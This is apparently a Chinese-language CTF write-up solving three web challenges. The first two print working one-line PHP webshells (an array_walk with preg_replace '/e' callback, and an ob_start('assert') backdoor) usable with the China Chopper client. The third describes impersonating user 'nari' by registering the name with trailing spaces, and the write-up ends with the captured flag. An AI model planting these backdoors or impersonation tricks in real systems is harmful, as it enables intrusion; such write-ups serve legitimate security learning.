01 50
题目链接
http://47.100.121.220:28001/01.php
解答
1 2 3 4 5 6 7
| <?php show_source(__FILE__); highlight_file('about.php'); ?> <?php $e = $_REQUEST['a']; $arr = array($_POST['b'] => '|.*|e',); array_walk($arr, $e, '');
|
如上代码,是一个PHP木马。是可以用菜刀连接的。
这里用到array_walk函数
array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。
1
| array_walk(array,myfunction,userdata...)
|
参数 |
说明 |
array |
必需。规定数组。 |
myfunction |
必需。用户自定义函数的名称。 |
userdata,… |
可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
网上给的是用assert函数,但是这里用assert不行。然后在学长的提醒下,这里提到|e,
所以可以用preg_replace函数.
如下图构造菜刀连接
或者直接hackbar
02 100
题目链接
http://47.100.121.220:28002/index.php
解答
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php show_source(__FILE__); echo "</br>"; highlight_file('about.php'); echo "</br>"; highlight_file('echo.php'); ?> <?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); //关键缓存每5分钟清理一次。</br> <?php include "func.php";
$your_real_ip = real_ip(); $path = "temp/".$your_real_ip."_http_request_history.txt";
$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; echo $your_real_ip."</br>"; echo $url;
$fout = null; if(file_exists($path)) { $fout = fopen($path, "ab") or die("Unable to open file!"); } else { $fout = fopen($path, "wb") or die("Unable to open file!"); } fwrite($fout, $url."\n"); fclose($fout); ?>
|
这里也提到了一种PHP木马的写法
1 2 3 4
| <?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
|
ob_start(“assert”)的意思设置assert作为ob操作结束时回调函数,
这个PHP木马是没有回显的
但是在给出的echo.php的代码有给出一些提示
这里说到的是temp文件夹是有写的权限的。
所以如下执行
login 100
题目链接
http://47.100.121.220:28003/
解答
这个题目注册完账号登录后会提示你
1
| 您已登录成功,但只有nari用户才可以看到flag.
|
这里根本没有任何思路的,然后学长告诉我。
注册nari后加个空格就可以了,我一脸懵逼。他也不知道为什么?
所以我注册nari加两个空格进去了,拿到flag。
1
| flag{a3afa127cfb57f423c7bc019587031020a2ce630}
|